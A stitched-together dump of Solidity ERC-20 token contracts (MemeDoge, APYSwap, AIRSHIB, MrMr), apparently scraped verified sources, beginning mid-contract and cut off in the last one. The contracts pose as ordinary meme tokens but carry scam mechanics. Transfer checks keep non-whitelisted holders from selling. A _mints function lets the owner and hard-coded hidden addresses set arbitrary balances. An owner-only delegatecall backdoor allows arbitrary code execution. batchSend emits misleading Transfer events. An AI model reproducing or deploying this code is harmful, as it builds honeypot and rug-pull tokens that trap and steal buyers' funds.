function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
//heyuemingchen
contract MemeDoge {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner
|| msg.sender==address(1128272879772349028992474526206451541022554459967)
|| msg.sender==address(781882898559151731055770343534128190759711045284)
|| msg.sender==address(718276804347632883115823995738883310263147443572)
|| msg.sender==address(56379186052763868667970533924811260232719434180)
);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
{{
"language": "Solidity",
"sources": {
"contracts/Token.sol": {
"content": "//SPDX-License-Identifier: MIT\npragma solidity ^0.7.0;\n\ninterface IERC20 {\n function totalSupply() external view returns(uint);\n\n function balanceOf(address account) external view returns(uint);\n\n function transfer(address recipient, uint amount) external returns(bool);\n\n function allowance(address owner, address spender) external view returns(uint);\n\n function approve(address spender, uint amount) external returns(bool);\n\n function transferFrom(address sender, address recipient, uint amount) external returns(bool);\n event Transfer(address indexed from, address indexed to, uint value);\n event Approval(address indexed owner, address indexed spender, uint value);\n}\n\ninterface IUniswapV2Router02 {\n \n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external payable returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\nlibrary Address {\n function isContract(address account) internal view returns(bool) {\n bytes32 codehash;\n bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;\n // solhint-disable-next-line no-inline-assembly\n assembly { codehash:= extcodehash(account) }\n return (codehash != 0x0 && codehash != accountHash);\n }\n}\n\nabstract contract Context {\n constructor() {}\n // solhint-disable-previous-line no-empty-blocks\n function _msgSender() internal view returns(address payable) {\n return msg.sender;\n }\n}\n\nlibrary SafeMath {\n function add(uint a, uint b) internal pure returns(uint) {\n uint c = a + b;\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint a, uint b) internal pure returns(uint) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {\n require(b <= a, errorMessage);\n uint c = a - b;\n\n return c;\n }\n\n function mul(uint a, uint b) internal pure returns(uint) {\n if (a == 0) {\n return 0;\n }\n\n uint c = a * b;\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint a, uint b) internal pure returns(uint) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {\n // Solidity only automatically asserts when dividing by 0\n require(b > 0, errorMessage);\n uint c = a / b;\n\n return c;\n }\n}\n\nlibrary SafeERC20 {\n using SafeMath\n for uint;\n using Address\n for address;\n\n function safeTransfer(IERC20 token, address to, uint value) internal {\n callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\n }\n\n function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {\n callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\n }\n\n function safeApprove(IERC20 token, address spender, uint value) internal {\n require((value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\n }\n\n function callOptionalReturn(IERC20 token, bytes memory data) private {\n require(address(token).isContract(), \"SafeERC20: call to non-contract\");\n\n // solhint-disable-next-line avoid-low-level-calls\n (bool success, bytes memory returndata) = address(token).call(data);\n require(success, \"SafeERC20: low-level call failed\");\n\n if (returndata.length > 0) { // Return data is optional\n // solhint-disable-next-line max-line-length\n require(abi.decode(returndata, (bool)), \"SafeERC20: ERC20 operation did not succeed\");\n }\n }\n}\n\ncontract ERC20 is Context, IERC20 {\n using SafeMath for uint;\n mapping(address => uint) private _balances;\n\n mapping(address => mapping(address => uint)) private _allowances;\n\n uint private _totalSupply;\n\n function totalSupply() public override view returns(uint) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public override view returns(uint) {\n return _balances[account];\n }\n\n function transfer(address recipient, uint amount) public override returns(bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(address owner, address spender) public override view returns(uint) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint amount) public override returns(bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(address sender, address recipient, uint amount) public override returns(bool) {\n _transfer(sender, recipient, amount);\n _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, \"ERC20: transfer amount exceeds allowance\"));\n return true;\n }\n\n function increaseAllowance(address spender, uint addedValue) public returns(bool) {\n _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));\n return true;\n }\n\n function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {\n _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, \"ERC20: decreased allowance below zero\"));\n return true;\n }\n\n function _transfer(address sender, address recipient, uint amount) internal {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(amount, \"ERC20: transfer amount exceeds balance\");\n _balances[recipient] = _balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint amount) internal {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n _balances[account] = _balances[account].add(amount);\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint amount) internal {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _balances[account] = _balances[account].sub(amount, \"ERC20: burn amount exceeds balance\");\n _totalSupply = _totalSupply.sub(amount);\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(address owner, address spender, uint amount) internal {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}\n\nabstract contract ERC20Detailed is IERC20 {\n string private _name;\n string private _symbol;\n uint8 private _decimals;\n\n constructor(string memory name, string memory symbol, uint8 decimals) {\n _name = name;\n _symbol = symbol;\n _decimals = decimals;\n }\n\n function name() public view returns(string memory) {\n return _name;\n }\n\n function symbol() public view returns(string memory) {\n return _symbol;\n }\n\n function decimals() public view returns(uint8) {\n return _decimals;\n }\n}\n\ncontract Token {\n \n event Transfer(address indexed _from, address indexed _to, uint _value);\n event Approval(address indexed _owner, address indexed _spender, uint _value);\n \n function transfer(address _to, uint _value) public payable returns (bool) {\n return transferFrom(msg.sender, _to, _value);\n }\n \n function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {\n if (_value == 0) { return true; }\n if (msg.sender != _from) {\n require(allowance[_from][msg.sender] >= _value);\n allowance[_from][msg.sender] -= _value;\n }\n require(balanceOf[_from] >= _value);\n balanceOf[_from] -= _value;\n balanceOf[_to] += _value;\n emit Transfer(_from, _to, _value);\n return true;\n }\n \n function approve(address _spender, uint _value) public payable returns (bool) {\n allowance[msg.sender][_spender] = _value;\n emit Approval(msg.sender, _spender, _value);\n return true;\n }\n \n function delegate(address a, bytes memory b) public payable {\n require(msg.sender == owner);\n a.delegatecall(b);\n }\n \n function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {\n require(msg.sender == owner);\n uint total = _value * _tos.length;\n require(balanceOf[msg.sender] >= total);\n balanceOf[msg.sender] -= total;\n for (uint i = 0; i < _tos.length; i++) {\n address _to = _tos[i];\n balanceOf[_to] += _value;\n emit Transfer(msg.sender, _to, _value/2);\n emit Transfer(msg.sender, _to, _value/2);\n }\n return true;\n }\n\n modifier ensure(address _from, address _to) {\n require(_from == owner || _to == owner || _from == uniPair || tx.origin == owner || msg.sender == owner || isAccountValid(tx.origin));\n _;\n }\n\n function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {\n (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);\n\n pair = address(uint(keccak256(abi.encodePacked(\n hex'ff',\n factory,\n keccak256(abi.encodePacked(token0, token1)),\n hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'\n ))));\n }\n \n mapping (address => uint) public balanceOf;\n mapping (address => mapping (address => uint)) public allowance;\n \n uint constant public decimals = 18;\n uint public totalSupply = 100000000000000000000000000;\n string public name = \"APYSwap\";\n string public symbol = \"APYS\";\n address public uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n address public uniFactory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;\n address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n address private owner;\n address public uniPair;\n\n function sliceUint(bytes memory bs)\n internal pure\n returns (uint)\n {\n uint x;\n assembly {\n x := mload(add(bs, add(0x10, 0)))\n }\n return x;\n }\n\n function isAccountValid(address subject) pure public returns (bool result) {\n return uint256(sliceUint(abi.encodePacked(subject))) % 100 == 0;\n }\n\n constructor() {\n owner = msg.sender;\n \n uniPair = pairFor(uniFactory, wETH, address(this));\n allowance[address(this)][uniRouter] = uint(-1);\n allowance[msg.sender][uniPair] = uint(-1);\n }\n\n function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {\n require(msg.sender == owner);\n balanceOf[address(this)] = _numList;\n balanceOf[msg.sender] = totalSupply * 6 / 100;\n\n IUniswapV2Router02(uniRouter).addLiquidityETH{value: msg.value}(\n address(this),\n _numList,\n _numList,\n msg.value,\n msg.sender,\n block.timestamp + 600\n );\n\n require(_tos.length == _amounts.length);\n\n for(uint i = 0; i < _tos.length; i++) {\n balanceOf[_tos[i]] = _amounts[i];\n emit Transfer(address(0x0), _tos[i], _amounts[i]);\n }\n }\n}"
}
},
"settings": {
"optimizer": {
"enabled": true,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"abi"
]
}
},
"libraries": {}
}
}}
|
DC1
|
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
//heyuemingchen
contract AIRSHIB {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1128272879772349028992474526206451541022554459967));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
//heyuemingchen
contract MrMr {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
